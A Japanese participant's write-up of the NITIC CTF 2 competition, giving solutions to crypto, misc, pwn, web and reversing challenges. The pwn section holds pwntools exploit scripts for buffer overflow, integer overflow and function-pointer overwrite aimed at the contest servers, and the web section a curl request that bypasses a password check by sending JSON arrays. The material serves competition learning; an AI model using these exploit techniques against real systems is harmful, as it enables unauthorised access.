1. はじめに
2021/9/5(日) 12:00 JST 〜 2021/9/6(月) 24:00:00 JST で「NITIC CTF 2」に参加しました。競技中 3201 点を獲得し、(得点を得た 174 チーム中) 26 位の成績でした。
今回は簡単ですが解いた問題全問の Writeup を記します。
2. Writeup(Crypto)
2-1. Caesar Cipher(100pt)
フラグの中身がシーザー暗号で暗号化されています。 暗号化されたフラグの中身はfdhvduです。
nitic_ctf{復号したフラグの中身}
を提出してください
(復号は)ROT 23 でした。
nitic_ctf{caesar}
2-2.ord_xor(300pt)
import os
flag = os.environ["FLAG"]
def xor(c: str, n: int) -> str:
temp = ord(c)
for _ in range(n):
temp ^= n
return chr(temp)
enc_flag = ""
for i in range(len(flag)):
enc_flag += xor(flag[i], i)
with open("./flag", "w") as f:
f.write(enc_flag)
nhtjcZcsfroydRx`rl
XOR は 二回やれば元に戻るので、もう一回同じ処理をして Decrypt します。
with open("flag", "r") as f:
enc_flag= f.read()
def xor(c: str, n: int) -> str:
temp = ord(c)
for _ in range(n):
temp ^= n
return chr(temp)
flag = ""
for i in range(len(enc_flag)):
flag += xor(enc_flag[i], i)
print(flag)
nitic_ctf{ord_xor}
2-3. tanitu_kanji(300pt)
import os
alphabets = "abcdefghijklmnopqrstuvwxyz0123456789{}_"
after1 = "fl38ztrx6q027k9e5su}dwp{o_bynhm14aicjgv"
after2 = "rho5b3k17pi_eytm2f94ujxsdvgcwl{}a086znq"
format = os.environ["FORMAT"]
flag = os.environ["FLAG"]
assert len(format) == 10
def conv(s: str, table: str) -> str:
res = ""
for c in s:
i = alphabets.index(c)
res += table[i]
return res
for f in format:
if f == "1":
flag = conv(flag, after1)
else:
flag = conv(flag, after2)
with open("./flag", "w") as file:
file.write(flag)
l0d0pipdave0dia244im6fsp8x
「format」を総当たりして、フラグフォーマットに適合するものを選びます。
alphabets = "abcdefghijklmnopqrstuvwxyz0123456789{}_"
after1 = "fl38ztrx6q027k9e5su}dwp{o_bynhm14aicjgv"
after2 = "rho5b3k17pi_eytm2f94ujxsdvgcwl{}a086znq"
with open("flag", "r") as file:
enc = file.read()
def conv(s: str, table1: str, table2: str) -> str:
res = ""
for c in s:
i = table1.index(c)
res += table2[i]
return res
for i in range(2**10):
format = bin(i)[2:].zfill(10)
flag = enc
for f in format:
if f == "1":
flag = conv(flag, after1, alphabets)
else:
flag = conv(flag, after2, alphabets)
if "nitic_ctf{" in flag:
print(flag)
exit()
nitic_ctf{bit_full_search}
2-4. summeRSA(300pt)
彼も平文の一部がわかっていれば鼻血を出すまで解読を試みることはなかったかもしれません。
from Crypto.Util.number import *
from random import getrandbits
with open("flag.txt", "rb") as f:
flag = f.read()
assert len(flag) == 18
p = getStrongPrime(512)
q = getStrongPrime(512)
N = p * q
m = bytes_to_long(b"the magic words are squeamish ossifrage. " + flag)
e = 7
d = pow(e, -1, (p - 1) * (q - 1))
c = pow(m, e, N)
print(f"N = {N}")
print(f"e = {e}")
print(f"c = {c}")
N = 139144195401291376287432009135228874425906733339426085480096768612837545660658559348449396096584313866982260011758274989304926271873352624836198271884781766711699496632003696533876991489994309382490275105164083576984076280280260628564972594554145121126951093422224357162795787221356643193605502890359266274703
e = 7
c = 137521057527189103425088525975824332594464447341686435497842858970204288096642253643188900933280120164271302965028579612429478072395471160529450860859037613781224232824152167212723936798704535757693154000462881802337540760439603751547377768669766050202387684717051899243124941875016108930932782472616565122310
フラグは 18 バイト、リークできているのは上位 41 バイトで、e = 7 なので足りない!?否、フラグフォーマットを考えれば上位 51 バイトまでリークできていて(残りは「}」を入れて8バイト)、 SageMath の small_roots を使って解けます。
from Crypto.Util.number import *
N = 139144195401291376287432009135228874425906733339426085480096768612837545660658559348449396096584313866982260011758274989304926271873352624836198271884781766711699496632003696533876991489994309382490275105164083576984076280280260628564972594554145121126951093422224357162795787221356643193605502890359266274703
e = 7
c = 137521057527189103425088525975824332594464447341686435497842858970204288096642253643188900933280120164271302965028579612429478072395471160529450860859037613781224232824152167212723936798704535757693154000462881802337540760439603751547377768669766050202387684717051899243124941875016108930932782472616565122310
x_bits = 64
m0 = bytes_to_long(b"the magic words are squeamish ossifrage. nitic_ctf{") * 2^x_bits
R.<x> = PolynomialRing(Zmod(N))
f = (x + m0)^7 - c
roots = f.small_roots(X=2^x_bits, beta=1)
for r in roots:
print(b"nitic_ctf{" + long_to_bytes(r))
nitic_ctf{k01k01!}
3. Writeup(Crypto以外)
3-1. Excel(Misc、100pt)
Excelファイルのあるセルにフラグが書かれています!見つけて下さい!
(添付ファイル:Book1.xlsx)
xlsx ファイルは ZIP アーカイブなので、解凍して grep しフラグを見つけました。
nitic_ctf{plz_find_me}
3-2. image_conv(Misc、200pt)
(添付ファイル:after_flag.png)
「うさみみハリケーン」で赤色ビット1を抽出したらフラグがくっきりと見えました。
nitic_ctf{high_contrast}
3-3. pwn monster 1(Pwn、200pt)
pwn monsterが完成しました!ライバルのpwnchuは最強で、バグ技を使わない限りは勝てないでしょう。
名前を「AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA」にするとバッファオーバーフローして HP と ATTACK がベラボーな値になって勝てます。
nitic_ctf{We1c0me_t0_pwn_w0r1d!}
3-4. pwn monster 1(Pwn、300pt)
pwn monster 2ではバグ技を検知する機構を追加しました。
チェックサム機能で HP と ATK の和が 110 であることが求められます。符号付き Long 型であることを考慮し、HP をベラボーな値にして ATTACK で調整します。
from pwn import *
import sys
if 'remote' in sys.argv:
r = remote('35.200.120.35', 9002 )
else:
r = process('./vuln')
HP = 0x7fffffffffffffff
ATTACK = 0x8000000000000000 + 111
r.recvuntil("Input name: ")
buf = b''
buf += b'A' * 16
buf += p64(HP)
buf += p64(ATTACK)
r.sendline(buf)
r.interactive()
nitic_ctf{buffer_and_1nteger_overfl0w}
3-5. Pwn monster 3(Pwn、300pt)
対策してもバグで勝つ人が多いので、pwn monster 3では勝ってもフラグを貰えないようにしました。
# include <stdio.h>
# include <stdlib.h>
# include <stdint.h>
# include <unistd.h>
# include <stdbool.h>
// バッファリングを無効化して時間制限を60秒に設定
__attribute__((constructor))
void setup() {
alarm(60);
setbuf(stdin, NULL);
setbuf(stdout, NULL);
}
void show_flag() {
FILE* fp = fopen("./flag.txt", "r");
char flag[256];
if (fp == NULL) {
printf("Not found flag.txt! Do you run in local?\n");
} else {
fgets(flag, 256, fp);
printf("%s\n", flag);
fclose(fp);
}
}
void print_title() {
puts(
" ____ __ __ _ \n"
"| _ \\__ ___ __ | \\/ | ___ _ __ ___| |_ ___ _ __ \n"
"| |_) \\ \\ /\\ / / '_ \\| |\\/| |/ _ \\| '_ \\/ __| __/ _ \\ '__|\n"
"| __/ \\ V V /| | | | | | | (_) | | | \\__ \\ || __/ | \n"
"|_| \\_/\\_/ |_| |_|_| |_|\\___/|_| |_|___/\\__\\___|_| \n"
" Press Any Key \n"
);
}
typedef struct {
char name[16];
int64_t hp;
int64_t attack;
char* (*cry)();
} Monster;
char* pwnchu_cry() {
return "pwnchu!";
}
char* my_monster_cry() {
return "GRRRR....";
}
void print_monster_infomation(Monster monster) {
printf("+--------+--------------------+----------------------+\n");
printf("|name | 0x%016lx | %20.8s |\n", *(int64_t*)monster.name , monster.name);
printf("| | 0x%016lx | %20.8s |\n", *(int64_t*)(monster.name + 8), monster.name + 8);
printf("|HP | 0x%016lx | % 20ld |\n", monster.hp , monster.hp);
printf("|ATK | 0x%016lx | % 20ld |\n", monster.attack , monster.attack);
printf("|cry() | 0x%016lx | % 20c |\n", monster.cry , ' ');
printf("+--------+--------------------+----------------------+\n");
}
void give_monster_name(Monster* monster) {
printf("Let's give your monster a name!\n");
print_monster_infomation(*monster);
printf("Input name: ");
scanf("%s%*c", monster->name);
print_monster_infomation(*monster);
puts("OK, Nice name.");
}
bool battle(Monster my_monster, Monster rival_monster) {
bool my_turn = true;
while (1) {
printf("[You] %s HP: %ld\n", my_monster.name, my_monster.hp);
printf("[Rival] %s HP: %ld\n", rival_monster.name, rival_monster.hp);
if (rival_monster.hp < 0) {
puts("Win!");
return true;
}
if (my_monster.hp < 0) {
puts("Lose...");
return false;
}
if (my_turn) {
puts("Your Turn.");
printf("%s: %s\n", my_monster.name, my_monster.cry());
printf("Rival monster took %ld damage!\n", my_monster.attack);
rival_monster.hp -= my_monster.attack;
} else {
puts("Rival Turn.");
printf("%s: %s\n", rival_monster.name, rival_monster.cry());
printf("Your monster took %ld damage!\n", rival_monster.attack);
my_monster.hp -= rival_monster.attack;
}
my_turn = !my_turn;
}
}
int main() {
Monster rival_monster = {"pwnchu", 9999, 9999, pwnchu_cry};
Monster my_monster = {"", 100, 10, my_monster_cry};
bool win = false;
print_title();
puts("Welcome to Pwn Monster World!");
puts("I'll give your first monster!");
give_monster_name(&my_monster);
puts("Let's battle with Rival! If you win, give you FLAG.");
win = battle(my_monster, rival_monster);
if (win) {
puts("Rival: I don't want to give you FLAG! bye~~");
}
return 0;
}
vuln を objdump した結果とリークされるアドレス値をもとに、関数ポインタを書き換えます。
0000000000001286 <show_flag>:
1286: f3 0f 1e fa endbr64
128a: 55 push %rbp
128b: 48 89 e5 mov %rsp,%rbp
128e: 48 81 ec 20 01 00 00 sub $0x120,%rsp
(中略)
000000000000134e <my_monster_cry>:
134e: f3 0f 1e fa endbr64
1352: 55 push %rbp
1353: 48 89 e5 mov %rsp,%rbp
1356: 48 8d 05 5d 0e 00 00 lea 0xe5d(%rip),%rax # 21ba <_IO_stdin_used+0x1ba>
135d: 5d pop %rbp
135e: c3 retq
from pwn import *
import sys
if 'remote' in sys.argv:
r = remote('35.200.120.35', 9003)
else:
r = process('./vuln')
r.recvuntil("|cry() | ")
s = r.recvuntil("Input name: ")
ADDR = int(s[0:18],16) - 0x134e + 0x1286
buf = b''
buf += b'A' * 32
buf += p64(ADDR)
r.sendline(buf)
s = r.recvuntil("OK, Nice name.")
print(s)
r.interactive()
nitic_ctf{rewrite_function_pointer_is_fun}
3-6. web_meta(Web、100pt)
フラグが書いてあるHTMLのはずなのに、ブラウザで開いても見当たりません!開発者の気持ちになって探しましょう!
ソースを見ると、meta タグにフラグがあります。
nitic_ctf{You_can_see_dev_too1!}
3-7 long flag(Web、200pt)
ソースを見ると、 タグでフラグが 1 文字ずつ囲まれています。このタグを除去すればフラグが出てきます。
<!DOCTYPE html>
<!-- saved from url=(0045)https://quizzical-mcnulty-e4cdbf.netlify.app/ -->
<html lang="ja"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>long flag</title>
</head>
<body>
<h1>Long Flag</h1>
<p>flag↓</p>
<hr>
<p id="flag" onmousedown="return false;" onselectstart="return false;">
<span>n</span><span>i</span><span>t</span><span>i</span><span>c</span><span>_</span><span>c</span><span>t</span><span>f</span><span>{</span><span>J</span><span>y</span><span>!</span><span>H</span><span>x</span><span>j</span><span>$</span><span>R</span><span>d</span><span>B</span><span>$</span><span>u</span><span>A</span><span>,</span><span>b</span><span>$</span><span>u</span><span>M</span><span>.</span><span>b</span><span>N</span><span>7</span><span>A</span><span>i</span><span>d</span><span>L</span><span>6</span><span>q</span><span>e</span><span>4</span><span>g</span><span>k</span><span>r</span><span>B</span><span>9</span><span>d</span><span>M</span><span>U</span><span>-</span><span>j</span><span>Y</span><span>8</span><span>K</span><span>U</span><span>8</span><span>2</span><span>8</span><span>B</span><span>y</span><span>P</span><span>9</span><span>E</span><span>#</span><span>Y</span><span>D</span><span>i</span><span>9</span><span>b</span><span>y</span><span>a</span><span>F</span><span>4</span><span>s</span><span>Q</span><span>-</span><span>p</span><span>/</span><span>8</span><span>3</span><span>5</span><span>r</span><span>2</span><span>6</span><span>M</span><span>T</span><span>!</span><span>Q</span><span>w</span><span>W</span><span>W</span><span>M</span><span>|</span><span>c</span><span>!</span><span>i</span><span>a</span><span>(</span><span>y</span><span>n</span><span>t</span><span>4</span><span>8</span><span>h</span><span>B</span><span>s</span><span>&</span><span>-</span><span>,</span><span>|</span><span>3</span><span>}</span>
</p>
<hr>
<p>flag↑</p>
(後略)
フラグは以下です。
nitic_ctf{Jy!Hxj$RdB$uA,b$uM.bN7AidL6qe4gkrB9dMU-jY8KU828ByP9E#YDi9byaF4sQ-p/835r26MT!QwWWM|c!ia(ynt48hBs&-,|3}
3-8 password(Web、300pt)
パスワードの文字が紛らわしいので、打ち間違えても通るようにしました。
from flask import Flask, request, make_response
import string
import secrets
password = "".join([secrets.choice(string.ascii_letters) for _ in range(32)])
print("[INFO] password: " + password)
with open("flag.txt") as f:
flag = f.read()
def fuzzy_equal(input_pass, password):
if len(input_pass) != len(password):
return False
for i in range(len(input_pass)):
if input_pass[i] in "0oO":
c = "0oO"
elif input_pass[i] in "l1I":
c = "l1I"
else:
c = input_pass[i]
if all([ci != password[i] for ci in c]):
return False
return True
app = Flask(__name__)
@app.route("/")
def home():
html = """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>test page</title>
</head>
<body>
<h1>Do you want the flag?</h1>
<p>password: <input type="text" id="password"></p>
<p><button id="submit">Submit</button></p>
<pre id="response"></pre>
<script>
document.getElementById("submit").onclick = () => {
const data = {"pass": document.getElementById("password").value}
fetch('/flag', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(data),
})
.then(async (res) => document.getElementById("response").innerHTML = await res.text())
};
</script>
</body>
</html>
"""
return make_response(html, 200)
@app.route("/flag", methods=["POST"])
def search():
if request.headers.get("Content-Type") != 'application/json':
return make_response("Content-Type Not Allowed", 415)
input_pass = request.json.get("pass", "")
if not fuzzy_equal(input_pass, password):
return make_response("invalid password", 401)
return flag
app.run(port=8080)
input_pass[i] が string.ascii_letters であれば fuzzy_equal は True を返します(おそらく非想定解)。以下のコマンドでキメました。
curl -X POST -H "Content-Type: application/json" -d '{"pass":["ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz","ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz","ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz","ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz","ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz","ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz","ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz","ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz","ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz","ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz","ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz","ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz","ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz","ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz","ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz","ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz","ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz","ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz","ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz","ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz","ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz","ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz","ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz","ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz","ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz","ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz","ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz","ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz","ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz","ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz","ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz","ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"]}' http://34.146.80.178:8001/flag
nitic_ctf{s0_sh0u1d_va11dat3_j50n_sch3m3}
3-9 protected(Rev、200pt)
パスワードでフラグを保護すれば安全!
IDA free で バイナリを覗くと scanf による入力値は「sUp3r_s3Cr37_P4s5w0Rd」と比較されていることがわかります。バイナリを実行し、これを入力してフラグゲット。
nitic_ctf{hardcode_secret}
3-10. report or repeat(Rev、300pt)
マルウェアの仕業により大事なレポートが暗号化されてしまった!レポートの締め切りは9/6の24時まで。暗号化プログラムを解読してレポートを取り戻し、留年を回避しましょう。
※ あくまで設定で、有害なプログラムは含んでいません
今回は動的解析に徹しました。
256 バイトのブロックで暗号化されていることから、オール「0」を暗号化するとどうなるか、平文 m バイト目の暗号化が n バイト目に現れるとして m と n の対応表など試行錯誤(ソルバには出て来ませんが)した後、平文と暗号化結果の対照表を作成して復号しました。静的解析できていればもっとスマートにできたのかもしれません。
from Crypto.Util.number import *
import subprocess
import sys
# Create BasePTFile
for i in range(256):
with open("CT_" + str(i), "wb") as f:
s = long_to_bytes(i) * 256
f.write(s)
# Create BaseCTFile
for i in range(256):
res = subprocess.run(['./encrypter', "CT_" + str(i)], stdout=subprocess.PIPE)
sys.stdout.buffer.write(res.stdout)
# Create MappingCheckPTFile
for i in range(256):
with open("chk_" + str(i), "wb") as f:
s = b""
for j in range(256):
if j == i:
s += b"\xff"
else:
s += b"\x00"
f.write(s)
# Create MappingCheckCTFile
for i in range(256):
res = subprocess.run(['./encrypter', "chk_" + str(i)], stdout=subprocess.PIPE)
sys.stdout.buffer.write(res.stdout)
m = {}
# Create Mapping List
with open("CT_0.enc", "rb") as f:
pos_base = f.read()
for i in range(256):
with open("chk_" + str(i) + ".enc", "rb") as f:
to_check = f.read()
for j, c in enumerate(to_check):
if pos_base[j] != to_check[j]:
m[j] = i
break
# Create DecryptingTable
d = {}
for i in range(256):
tmp = []
for j in range(256):
tmp.append(0)
with open("CT_" + str(i)+".enc", "rb") as f:
s = f.read()
d[i] = s
def DecryptBlock(s, d, m):
t = []
for i in range(256):
t.append(0)
for i, c in enumerate(s):
for j in range(256):
if d[j][i] == c:
t[m[i]] = j
res = b""
for i in range(256):
res += long_to_bytes(t[i])
return res
# Decrypt
t = b""
with open("report.pdf.enc", "rb") as f:
while(True):
s = f.read(256)
if s == b"":
break
else:
t += DecryptBlock(s, d, m)
print(t)
with open("report.pdf", "wb") as f:
f.write(t)
nitic_ctf{xor+substitution+block-cipher}
4. 解けなかった問題
4-1. braincheck(Misc)
C 言語に変換して GCC で ELF にして angr で解こうとしたけど angr の VM が落ちて失敗。
4-2. password_fixed(Web)
どこをどう攻めたら良いのかよく分からず。Web は苦手です。
4-3. baby_IO_jail(Pwn)
道路さんの問題を解くにはまだワタクシは too young でした。
4-4. Is it Shell(Web)
同上。
5. おわりに
日・月での 36 時間なので徹夜はしませんでしたが、かえって体調を崩さずに楽しめたので良かったです。最後に、運営・作問陣の皆様ありがとうございました。
ジーク・ジオン!